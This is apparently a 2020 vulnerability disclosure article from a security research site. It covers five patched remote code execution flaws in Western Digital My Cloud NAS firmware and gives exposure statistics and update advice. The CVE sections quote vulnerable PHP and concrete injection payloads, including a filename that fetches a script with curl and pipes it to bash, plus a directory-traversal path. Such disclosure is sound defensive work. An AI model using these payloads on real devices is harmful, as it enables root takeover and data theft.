

by Use  
by OS/Device  
by Country  
Guides  
Compare providers  
Reviews

...affecting more than 80,000 Western Digital My Cloud NAS devices. Update now!

## Vulnerabilities found affecting more than 80,000 Western Digital My Cloud NAS devices. Update now!

Our researchers have uncovered five critical cybersecurity flaws in Western Digital network-attached storage (NAS) devices. The vulnerabilities found affect tens of thousands of Western Digital My Cloud NAS devices globally.

**PAUL BISCHOFF** - TECH WRITER, PRIVACY ADVOCATE AND VPN EXPERT  
@pabischoff November 13, 2020



**5 critical cybersecurity flaws found, affecting tens of thousands of NAS devices.**

Comparitech's security research team have found more than 80,000 Western Digital network-attached storage (NAS) devices are connected to the public internet and could be vulnerable. The vulnerabilities would allow attackers to perform several remote code execution attacks. These attacks could compromise data and files stored on the device, or allow an attacker to place malware on the device, including ransomware, cryptominers, and botnets.

Owners of Western Digital NAS devices should update their firmware as soon as possible. Our researchers reported the vulnerabilities to Western Digital in early September 2020, and the company put out an update that patched them on October 27, 2020. **The update is not automatic. Users must manually initiate it through the device's admin interface.**

#### TOTAL RESULTS

86,362

#### TOP COUNTRIES



United States	28,686
United Kingdom	18,232
Canada	5,364
Netherlands	3,542
Germany	2,718

#### TOP SERVICES

HTTPS	83,295
HTTPS (8443)	2,514
Symantec Data Center Security	353
9443	136
7443	16

#### TOP ORGANIZATIONS

Spectrum	7,091
Comcast Cable	6,866
Virgin Media	5,253
Sky Broadband	5,157
BT	2,877

More than 80,000 Western Digital My Cloud NAS devices are connected to the internet, according to

#### Latest guides

[How to disable IPV6 on your devices](#)

November 20, 2022 / by Craig McCart

[How to opt out of BeenVerified](#)

October 18, 2022 / by Craig McCart

[What is Bluesnarfing? Your questions answered](#)

October 13, 2022 / by Craig McCart

[ExpressVPN not working with Disney? Try this!](#)

September 22, 2022 / by Craig McCart

[How to remove the Search Marquis virus on Mac](#)

August 7, 2022 / by Craig McCart

[Identity theft facts & statistics: 2019-2022](#)

August 1, 2022 / by Sam Cook

[Best virus protection for Chromebook in 2022](#)

July 11, 2022 / by Craig McCart

[60+ IoT statistics and facts](#)

June 27, 2022 / by Sam Cook

[Kaspersky vs Webroot: Which is best?](#)

June 14, 2022 / by Steve Adams

[Panda vs Kaspersky: Which wins?](#)

June 14, 2022 / by Steve Adams

#### Latest Antivirus

[How to remove an iPhone calendar virus](#)

December 5, 2022 / by James Milin-Ashmore

[What is a heuristic virus?](#)

November 28, 2022 / by Ian Garland

[Black Friday Deals: 60% off Panda Security \(works November 2022\)](#)

November 23, 2022 / by Craig McCart

[ESET vs Bitdefender: Which is best?](#)

July 20, 2022 / by Steve Adams

[Norton vs Kaspersky: Which is best?](#)

July 20, 2022 / by Steve Adams

#### Latest App Studies

[7 Best App Store Optimization Platforms](#)

July 14, 2022 / by Amakiri Welekwe

[1 in 5 children's Google Play Apps breach Children's Online Privacy](#)

Our researchers examined version 2.40.155 of the NAS firmware, which was released July 27, 2020. Earlier versions might also be affected. The five vulnerabilities have been documented as the following CVEs:

- CVE-2020-25765
- CVE-2020-27158
- CVE-2020-27159
- CVE-2020-27160
- CVE-2020-27744

We'll detail each of these below.

Western Digital gave Comparitech researchers the following response via email:

“*My Cloud Firmware 5.04.114 is a major security release containing updates to help improve the security of your My Cloud devices. Numerous changes were made to the operating system in order to comprehensively improve its security and to upgrade the user experience to support our latest technologies. The base operating system has been upgraded to align with security and stability updates from Debian 10 “Buster”. For more information on the latest security updates, see our security advisory: <https://www.westerndigital.com/support/productsecurity/wdc-20007-my-cloud-firmware-version-5-04-114> and release notes: <https://os5releasenotes.mycloud.com/#/>*

*For instructions on upgrading your device, see Knowledge Based Article: [https://support-en.wd.com/app/answers/detail/a\\_id/29813](https://support-en.wd.com/app/answers/detail/a_id/29813)*

*Not all devices are eligible for upgrade. We recommend that if your device is eligible, update immediately. For those whose devices that are ineligible, please note: If you have enabled remote dashboard access, **we recommend that you immediately disable remote dashboard access.** For information on how to do that, see: [https://support-en.wd.com/app/answers/detail/a\\_id/2573](https://support-en.wd.com/app/answers/detail/a_id/2573)*

*Products eligible for upgrade:*

- *My Cloud Mirror Gen2*
- *My Cloud EX2 Ultra*
- *My Cloud EX4100*
- *My Cloud PR2100*
- *My Cloud PR4100*

*If your device is not listed above, please see our WD Product Software Support Status List: [https://support-en.wd.com/app/answers/detail/a\\_id/28740/kw/Software%20support%20status#mycloudnet](https://support-en.wd.com/app/answers/detail/a_id/28740/kw/Software%20support%20status#mycloudnet)*

*If your product is at ‘End of Updates’ status, please consider purchasing a new device. ”*

Businesses and individuals use network-attached storage (NAS) devices to set up on-premise cloud storage that's accessible from the internet. This could include small businesses backing up sensitive customer and financial info and people backing up their phones and media, among other things.

Our researchers warn vulnerable NAS devices could be hijacked by a botnet to launch distributed denial-of-service (DDoS) attacks. Botnet malware like [Mirai](#) targets internet-of-things devices like NAS, as well as cameras, smart TVs, and printers. The botnet's

#### Protection Act rules

June 22, 2021 / by Paul Bischoff

#### Stalkerware app use by country

June 1, 2021 / by Paul Bischoff

#### Contact-tracing app adoption by country

April 13, 2021 / by Paul Bischoff

#### COVID-19 App Tracker: Is privacy being sacrificed in a bid to combat the virus?

April 7, 2020 / by Paul Bischoff

#### Latest Cloud and Online Backup

##### Best free backup apps for Android in 2022

October 21, 2021 / by Ray Walsh

##### 11 Best Secure File Sharing Tools & Software for Business in 2022

October 21, 2019 / by Tim Keary

##### Rapidshare is discontinued, try these alternatives

February 4, 2019 / by Aimee O'Driscoll

##### The 5 Best Edge Services Providers

October 15, 2018 / by Stephen Cooper

##### The best apps to encrypt your files before uploading to the cloud

October 11, 2018 / by Paul Bischoff

#### Latest Crypto

##### Worldwide crypto & NFT rug pulls and scams tracker

August 3, 2022 / by Rebecca Moody

##### What bitcoin is and how to buy it and use it

October 14, 2021 / by Mark Gill

##### Bitcoin fraud, theft, and security statistics

May 6, 2021 / by Aimee O'Driscoll

##### Bitcoin Price History – the value of 1 BTC over time

April 19, 2021 / by Rebecca Moody

##### How Do People Feel About Cryptocurrencies?

July 31, 2019 / by Paul Bischoff

#### Latest Crypto Popular Posts

##### How to buy and pay with bitcoin anonymously

April 18, 2018 / by Aimee O'Driscoll

##### What is Bitcoin mining and how can you do it?

March 7, 2018 / by Aimee O'Driscoll

##### 15 best bitcoin wallets for 2022 (that are safe and easy to use)

February 25, 2018 / by Aimee O'Driscoll

#### Latest Cryptocurrency Studies

##### Does the price of Bitcoin impact ransomware attacks and ransoms?

October 17, 2022 / by Rebecca Moody

##### Worldwide NFT heists tracker

July 26, 2022 / by Rebecca Moody

##### Worldwide cryptocurrency heists tracker (updated daily)

June 28, 2019 / by Theo Tshitias

#### Latest Cybercrime Studies

administrator can then use their combined resources to overload targets—websites, online services, apps, etc—with junk internet traffic.

Vulnerabilities

Our researchers focused on **remote code execution** vulnerabilities. They extracted web interface code from Western Digital's firmware and found the following:

CVE-2020-25765

A PHP script is used to activate a NAS device for the first time out of the box or after a hard reset. The script attempts to validate user input by converting it to an integer and checking if the converted value is still an integer. However, any string inputted will return zero, which meets the validation condition and could allow an attacker to inject malicious commands that are executed by the `system()` function.

```
}
|
$code = $_POST['code'];
$method = $_POST['method'];

if(!is_int((int)$code) || empty($method)) return;

switch($method)
{
    case "add":
        $cmd = "fireAlert -a $code -x";
        system($cmd, &return_var: $retval);
        $cmd = "fireAlert -a $code -f";
        system($cmd, &return_var: $retval);
        break;
    case "del":
        $cmd = "fireAlert -a $code -x";
        system($cmd, &return_var: $retval);
        break;
    case "save":
        system("command:cp /etc/.device_registered /usr/local/config/.device_reg");
        break;
}

echo "<config><res>$retval</res><method>$method</method><cmd>$cmd</cmd></config>"
?>
```

The vulnerability exists in `/web/pages/php/reg_device.php`, which can be exploited even if the device has already been registered. The application converts user input to an integer. When the input is a string, the conversion always outputs zero, which is accepted as valid input for the PHP function `is_int()`. The attacker can set the "code" parameter sent via POST request to `'2405;ifconfig;#'` to execute arbitrary commands with root privileges.

CVE-2020-27158

The NAS firmware update mechanism lets users update their firmware by uploading a file. During the upload, the NAS device write's the uploaded firmware's name to a temporary file, and reads it during the update process. Due to insufficient sanitization of user input, an attacker could write malicious commands in the file name. The command will be appended and triggered during the update process and executed with root privileges.

```
else if ($send_data['cmd'] == "cgi_upload")
{
    header( String: 'Content-Type: text/html');

    if (file_exists( $filename: "/tmp/upload_fw_msg"))
    {
        $buf = file_get_contents( $filename: "/tmp/upload_fw_msg");
        $cmd = sprintf("upload_firmware -a -m -n '%s' & >/dev/null", $buf);
        pclose(popen($cmd, 'r'));
    }
    echo "";
}
else
{
    default_curl($ca, $cgi_name);
}
```

The vulnerability exists in `/web/pages/cgi_api.php` where firmware updates are uploaded. The application accepts file upload requests if the `cmd` parameter is set to `cgi_firmware_upload`, which can be manipulated. An attacker can upload a file with the filename `curl 192.168.101.75[bash -;#`, which will be written to `/tmp/upload_fw_msg` and then re-read and executed if the `cmd` parameter is set to `cgi_firmware_upload`.

CVE-2020-27159

The average UK government employee receives 2,400 malicious emails per year

April 20, 2022 / by Paul Bischoff

Cybercrime victims lose an estimated \$318 billion annually

August 11, 2021 / by Paul Bischoff

Which countries have the worst (and best) cybersecurity?

February 6, 2019 / by Paul Bischoff

Latest Cybersecurity Employment Studies

2022 US Cybersecurity Salary & Employment Study – which state has the best prospects?

April 5, 2021 / by Paul Bischoff

2021 US Network Administrator Salary & Employment Study – which state has the best prospects?

June 25, 2019 / by Rebecca Moody

Latest Data Breaches Studies

Medical breaches accounted for 342 million leaked records from 2009 to 2022

August 18, 2022 / by Paul Bischoff

Financial data breaches accounted for 153.3 million leaked records from January 2018 to June 2022

July 21, 2022 / by Paul Bischoff

15+ Two-factor authentication statistics 2020-2022

July 18, 2022 / by Craig McCart

The State of Data Breaches in the US: Report and Statistics 2020

August 17, 2021 / by Paul Bischoff

58% of organizations fail to acknowledge data breach disclosures

May 4, 2021 / by Aimee O'Driscoll

Latest Data Privacy Management

How to remove yourself from the internet

April 14, 2022 / by Ray Walsh

9 Best Redaction Software and Tools

September 21, 2021 / by Stephen Cooper

A Guide to the Federal and State Data Privacy Laws in the U.S.

July 18, 2021 / by Amakiri Welekwe

NIST Cybersecurity Framework Guide

July 18, 2021 / by Amakiri Welekwe

6 Best SOC Software Tools

July 12, 2021 / by Stephen Cooper

Latest Data Recovery Software

15 Best Data Loss Prevention Software Tools

April 18, 2019 / by Stephen Cooper

Latest Identity Theft Protection

IDX Identity vs LifeLock: Which is best?

June 18, 2022 / by Kyle Schurman

LifeLock vs Experian: Which is best?

May 9, 2022 / by Kyle Schurman

Complete ID vs LifeLock: Which is best?

May 9, 2022 / by Kyle Schurman

The application's DsdkProxy implementation is prone to a code execution vulnerability due to insufficient checks on user input. An attacker can append this input to executed commands without any sanitization and validation. To exploit it, an attacker just needs to send POST request with a payload in the body. The executed command will be modified to the attacker's choice. Developers tried to sanitize the final executed command by using `escapeshellarg()`, but it will not make any difference or secure the code, because the attacker has already modified and appended his own commands to it.

```
if ($postOrPutRequest) {
    $curlCommand .= ' -d ' . $body;
    $curlCommand .= ' -X ' . $method;
    $curlCommand .= ' -u ' . $username . ':' . $password;
    $curlCommand .= ' -s';
}

$curlCommand .= ' ';
$curlCommandURL = 'http://localhost/';
$curlCommandURL .= $endpoint;

if (!$postOrPutRequest && $_SERVER['QUERY_STRING'] != null) {
    $curlCommandURL .= '?' . $_SERVER['QUERY_STRING'];
}

$curlCommand .= escapeshellarg($curlCommandURL);
$curlCommand .= ' 2>&1';

$output = shell_exec($curlCommand);
```

The vulnerability exists in `/web/pages/dsdk/DsdkProxy.php`. The attacker can send POST requests through `php://input` with `ifconfig:#` in the body to overwrite and execute commands with root privileges.

## CVE-2020-27160

The NAS device attempts to read a URL that leads to a download server on the device. Attackers can abuse directory traversal in WD's file upload function to overwrite the file located at that URL. The attack is made possible due to insufficient sanitization of user input. The new file can contain malicious system commands that are executed when navigating to `/web/pages/dsdk/AvailableApps.php`. This allows an attacker to execute the command as long as the file contains the malicious commands. Researchers say this hack can help attackers maintain backdoor access to NAS devices.

```
/* Server override */
$download_server = "http://download.wdc.com";
if (file_exists($filename . "/tmp/docker_apps_server")) {
    $docker_apps_server = file_get_contents($filename . "/tmp/docker_apps_server");
    $docker_apps_server = trim($docker_apps_server);
    if (!empty($docker_apps_server)) {
        $download_server = $docker_apps_server;
    }
}

$curlCommand = 'sudo curl ' . $download_server . '/docker_apps/';
$curlCommand .= $model_id;
$curlCommand .= '/apps.json';

$body = shell_exec($curlCommand);
```

The vulnerability exists in `/web/pages/dsdk/AvailableApps.php`. The application reads `/tmp/docker_apps_server` file and appends its contents to the `$curlCommand` variable. An attacker could overwrite contents in that file with commands that are then executed. To overwrite the file, the attacker could use either the firmware upload function or `cgi_api.php`, both of which are prone to directory traversal as indicated in previous vulnerabilities. For example, the uploaded file name could be `../../../../tmp/docker_apps_server`, which would overwrite the file.

## CVE-2020-27744

An attacker could abuse this vulnerability to execute commands by manipulating user input sent to a PHP script. User input is not validated upon calling certain PHP functions residing in binary, allowing an attacker to append commands and execute arbitrary code as the root user. This vulnerability is exploitable even if the user has the lowest level of privileges on the NAS device.

[Identity Guard vs LifeLock: Which is best?](#)

April 27, 2022 / by Kyle Schurman

[Home Title Lock vs LifeLock: Which is best?](#)

April 19, 2022 / by Kyle Schurman

### Latest Information Security

[What is www2 and is it safe?](#)

December 15, 2022 / by Justin Schamotta

[Korea cybersecurity statistics](#)

November 30, 2022 / by Craig McCart

[Japan cyber security and cyber crime statistics \(2017-2022\)](#)

November 29, 2022 / by Craig McCart

[Netherlands cybersecurity statistics](#)

November 28, 2022 / by Craig McCart

[What is an Evil Twin Attack?](#)

November 11, 2022 / by Ray Walsh

### Latest Internet Studies

[What internet activity would you be willing to cut down on to save energy?](#)

November 8, 2021 / by Rebecca Moody

[The rising tide of child abuse content on social media](#)

February 19, 2021 / by Paul Bischoff

[Internet Censorship 2022: A Global Map of Internet Restrictions](#)

January 15, 2020 / by Paul Bischoff

[Which government censors the tech giants the most?](#)

October 1, 2019 / by Paul Bischoff

### Latest IPTV

[Is Facebook profiting from illegal streaming?](#)

June 11, 2019 / by Sam Cook

[How to set up IPTV on Perfect Player](#)

January 31, 2019 / by Tom Blackstone

[Kodi Solutions IPTV: What is Kodi Solutions? Is it your next IPTV?](#)

September 24, 2018 / by Tom Blackstone

[Area 51 IPTV: What is Area 51 IPTV and should you use it?](#)

September 23, 2018 / by Tom Blackstone

[Terrarium TV shut down: Use these top 10 Terrarium TV alternatives](#)

September 18, 2018 / by Sam Cook

### Latest Kodi

[Kodi in steep decline after introduction of anti-piracy steps](#)

February 28, 2022 / by Sam Cook

[Can You Watch Tyson vs Jones on Kodi?](#)

August 13, 2020 / by Sam Cook

[How to install the PBS Kids Kodi add-on](#)

September 25, 2019 / by Ian Garland

[How to watch AEW – All Out Free on Kodi with a VPN](#)

August 30, 2019 / by William Elcock

[How to watch the US Tennis Open 2021 on Kodi – free livestream](#)

August 16, 2019 / by William Elcock

The vulnerability exists in binary `/usr/bin/ftp_download`. An attacker can execute commands by manipulating user input in `/web/addons/jqueryFileTree.php`. The script is safe from command injection but accepts command parameters and passes them to the `popen()` function in the binary. The `$host` variable, which comes from user input, is not validated upon calling `HostToIP()`, an external function defined in the `/usr/lib/libschedl.so` shared library. An attacker could append his commands and execute arbitrary code with root privileges.

## How can I protect my WD NAS device?

Western Digital NAS device owners should download and install the latest security updates. Western Digital has already issued a patch for all of the above vulnerabilities. It should be available through the device's admin interface.

Additionally, researchers recommend setting up exclusive access to your NAS device through a VPN. Limiting access through a VPN will also protect your NAS from similar attacks in the future.

### Latest Kodi Popular Posts

[Can you watch Bellator MMA live on Kodi?](#)

June 21, 2019 / by Sam Cook

[How to watch the 2022 French Open on Kodi](#)

May 21, 2019 / by Sam Cook

[How to watch the NCAA Frozen Four 2021 on Kodi](#)

April 10, 2019 / by Sam Cook

[How to watch the 2022 NCAA Final Four and Championship game on Kodi](#)

April 5, 2019 / by Sam Cook

[30+ Best Kodi Addons working in November 2022 \(of 130+ tested\)](#)

March 15, 2019 / by Ian Garland

### Latest Net Admin

[Why Monitoring Your Application is Important](#)

September 9, 2022 / by Stephen Cooper

[Application Monitoring – Best Practices](#)

September 9, 2022 / by Stephen Cooper

[The Definitive Guide to SAP Security](#)

August 26, 2022 / by Stephen Cooper

[6 Best Syslog and Log Viewers](#)

August 26, 2022 / by Stephen Cooper

[8 Best Bot Protection Software](#)

August 26, 2022 / by Stephen Cooper

### Latest Net Admin Popular Posts

[11 Best Free TFTP Servers for Windows, Linux and Mac](#)

February 28, 2019 / by Jon Watson

[11 Best SFTP and FTPS Servers Reviewed 2022](#)

February 27, 2019 / by Jon Watson

[12 Best NetFlow Analyzers & Collector Tools for 2022](#)

January 23, 2019 / by John Kimball

[7 Best Bandwidth Monitoring Tools to Analyze Network Traffic Usage](#)

December 21, 2018 / by John Kimball

### Latest Plex

[Watch your Plex library in Kodi with the Plex Kodi addon](#)

December 24, 2017 / by Aaron Phillips

[How to set up Plex on Chromecast and get the most out of it](#)

December 7, 2017 / by Aaron Phillips

[Plex vs Kodi: Which streaming software is right for you?](#)

November 1, 2017 / by Aaron Phillips

[Installing and using the Fire TV Plex app](#)

October 31, 2017 / by Aaron Phillips

[The best Plex plugins: 25 of our favorites \(Updated\)](#)

September 20, 2017 / by Aaron Phillips

### Latest Plex Popular Posts

[How to get started streaming with Plex media server](#)

September 20, 2017 / by Aaron Phillips

---

[Selectively routing Plex through your VPN](#)

September 20, 2017 / by Aaron Phillips

---

Popular Posts

---

[Best VPNs for Netflix: Get any version of Netflix anywhere](#)

January 5, 2019 / by Paul Bischoff

---

[10 Best VPNs for Torrenting Safely and Privately in 2022](#)

January 1, 2019 / by Paul Bischoff

---

[Die besten und schlechtesten VPNs für Torrent-Dateien und P2P-Filesharing 2018](#)

September 25, 2018 / by Paul Bischoff

---

[How to make your own free VPN with Amazon Web Services](#)

May 15, 2018 / by Paul Bischoff

---

[A beginner's guide to online censorship](#)

August 26, 2017 / by Paul Bischoff

---

Latest Privacy Studies

---

[Where in the world is your child's data safe? 50 countries ranked on their child data protection legislation](#)

May 25, 2022 / by Paul Bischoff

---

[Direct-to-Consumer DNA Testing: How protected is the genetic data you're submitting to these websites?](#)

March 1, 2022 / by Rebecca Moody

---

[Which country has the most-watched workers in the world?](#)

April 27, 2021 / by Paul Bischoff

---

[Encryption laws: Which governments place the heaviest restrictions on encryption?](#)

October 20, 2020 / by Paul Bischoff

---

[US state and district courts authorize 99% of interception orders – less than 4% convicted](#)

October 14, 2020 / by Paul Bischoff

---

Latest Ransomware Studies

---

[Since 2018, ransomware attacks on healthcare organizations have cost the world economy \\$92bn in downtime alone](#)

November 14, 2022 / by Paul Bischoff

---

[Ransomware attacks cost the US \\$159.4bn in downtime alone in 2021](#)

July 14, 2022 / by Paul Bischoff

---

[Map of worldwide ransomware attacks \(updated daily\)](#)

March 15, 2022 / by Rebecca Moody

---

[Ransomware attacks on US businesses cost \\$20.9bn in 2020](#)

October 5, 2021 / by Rebecca Moody

---

[Ransomware attacks on US schools and colleges cost \\$3.56bn in 2021](#)

August 31, 2021 / by Paul Bischoff

---

Latest Scams Studies

---

[90,000 Americans lost \\$1.58 billion to investment scams in 2021](#)

April 27, 2022 / by Paul Bischoff

---

[Ofcom's new measures could save UK consumers from 115m scam calls and £9.6m in fraud losses](#)

October 26, 2021 / by Paul Bischoff

---

[The State of Spam in the US: Report and Statistics](#)

October 5, 2021 / by Rebecca Moody

---

[The State of Phishing in the US: Report and Statistics 2021](#)

July 27, 2021 / by Paul Bischoff

## [The State of Robocalls in the US: Report and Statistics 2020](#)

July 19, 2021 / by Paul Bischoff

### Latest Sports Streaming

#### [How to watch Naoya Inoue vs Paul Butler online](#)

December 8, 2022 / by Mark Gill

#### [How to watch Josh Warrington Vs Luis Alberto Lopez](#)

December 7, 2022 / by Ray Walsh

#### [How to watch Fury vs Chisora online](#)

November 29, 2022 / by Craig McCart

#### [How to watch Australia vs Denmark \(World Cup 2022\)](#)

November 28, 2022 / by Ian Garland

#### [How to watch Wales vs England \(World Cup 2022\)](#)

November 27, 2022 / by Ian Garland

### Latest Sports Streaming Popular Posts

#### [How to watch Spain vs. Germany \(World Cup 2022\) online from anywhere](#)

November 25, 2022 / by Craig McCart

#### [How to watch England vs. United States \(World Cup 2022\) online from anywhere](#)

November 23, 2022 / by Craig McCart

#### [How to watch United States vs. Wales \(World Cup 2022\) online from anywhere](#)

November 19, 2022 / by Craig McCart

#### [How to watch Gervonta Davis vs Leo Santa Cruz live online](#)

October 20, 2020 / by Sam Cook

#### [How to watch Vasiliy Lomachenko vs Teofimo Lopez live online](#)

October 16, 2020 / by Sam Cook

### Latest Streaming Studies

#### [Which countries have the most Christmas movie fans?](#)

December 8, 2021 / by Rebecca Moody

#### [The most popular Netflix Original series by country](#)

July 7, 2021 / by Rebecca Moody

#### [Celebrate July 4 with the most popular patriotic movies by state](#)

June 29, 2021 / by Rebecca Moody

#### [Screen Time Statistics: Average Screen Time in US vs. the rest of the world](#)

June 8, 2021 / by Rebecca Moody

#### [What is the world watching on Netflix?](#)

April 6, 2021 / by Rebecca Moody

### Latest Studies

#### [VPN demand rises around key Roe v. Wade dates](#)

July 6, 2022 / by Rebecca Moody

#### [Study shows you can save 85% on car rental by altering your booking location](#)

May 30, 2022 / by Paul Bischoff

#### [The top 50 most surveilled colleges in the United States](#)

March 29, 2022 / by Paul Bischoff

#### [Government Social Media Spying Powers: 50 countries ranked on](#)

#### [social media surveillance](#)

January 19, 2022 / by Paul Bischoff

[China now lets citizens opt out of private face recognition. Does your country?](#)

August 12, 2021 / by Paul Bischoff

#### Latest Surveillance Studies

[Facial recognition technology \(FRT\): 100 countries analyzed](#)

June 8, 2021 / by Paul Bischoff

[CCTV surveillance in the most populated cities in the United States](#)

February 3, 2021 / by Paul Bischoff

[Data privacy laws & government surveillance by country: Which countries best protect their citizens?](#)

October 15, 2019 / by Paul Bischoff

#### Latest TV Streaming

[How to watch Alice in Borderland Season 2 online](#)

December 15, 2022 / by Craig McCart

[How to stream 1923 online from anywhere](#)

December 12, 2022 / by Ian Garland

[How to watch Litvinenko Season 1 online](#)

December 8, 2022 / by Craig McCart

[How to watch the People's Choice Awards 2022 online](#)

December 5, 2022 / by Mark Gill

[How to stream Your Honor season two online from anywhere](#)

December 5, 2022 / by Ian Garland

#### Latest TV Streaming Popular Posts

[How to watch Love Island online from abroad \(stream it free\)](#)

May 30, 2019 / by Ian Garland

[How to watch Game of Thrones Season 8 free online](#)

April 14, 2019 / by Sam Cook

[How to watch Super Bowl LVI \(56\) free online anywhere in the world](#)

February 2, 2019 / by Sam Cook

#### Latest Utilities

[Best video downloaders for Windows 10 in 2022](#)

August 1, 2022 / by Aimee O'Driscoll

[6 Best PC tune up software: How to tune up your PC](#)

March 22, 2021 / by Aimee O'Driscoll

[How to convert YouTube to MP3](#)

February 18, 2021 / by Aimee O'Driscoll

[How to convert SoundCloud to MP3](#)

February 9, 2021 / by Aimee O'Driscoll

[6 Best screen recorders for Windows 10 in 2022](#)

June 23, 2020 / by Aimee O'Driscoll

#### Latest VPN & Privacy

[Best Surfshark alternatives in 2022](#)

December 11, 2022 / by Mark Gill

[Best VPN for OkCupid](#)

December 5, 2022 / by Justin Schamotta

[Windscribe vs PrivateVPN](#)



November 30, 2022 / by Mark Gill

[Norton Secure VPN vs IPVanish](#)

November 30, 2022 / by Ray Walsh

[Best VPNs for Cash App](#)

November 30, 2022 / by Mark Gill

Latest VPN Studies

[Study: How the most popular free VPNs use your data](#)

January 16, 2019 / by Paul Bischoff

## Comments

Leave a Reply

Comment

Name \*

Leave Comment

This site uses Akismet to reduce spam. [Learn how your comment data is processed.](#)



[Home](#) [Blog](#) [Authors](#) [Privacy policy](#) [Cookies Policy](#) [Terms of use](#) [Disclosure](#) [About Comparitech](#) [Contact Us](#) [Accessibility](#)

© 2022 Comparitech Limited. All rights reserved.  
Comparitech.com is owned and operated by Comparitech Limited, a registered company in England and Wales (Company No. 09962280), Suite 3 Falcon Court Business Centre, College Road, Maidstone, Kent, ME15 6TF, United Kingdom. Telephone +44(0)333 577 0163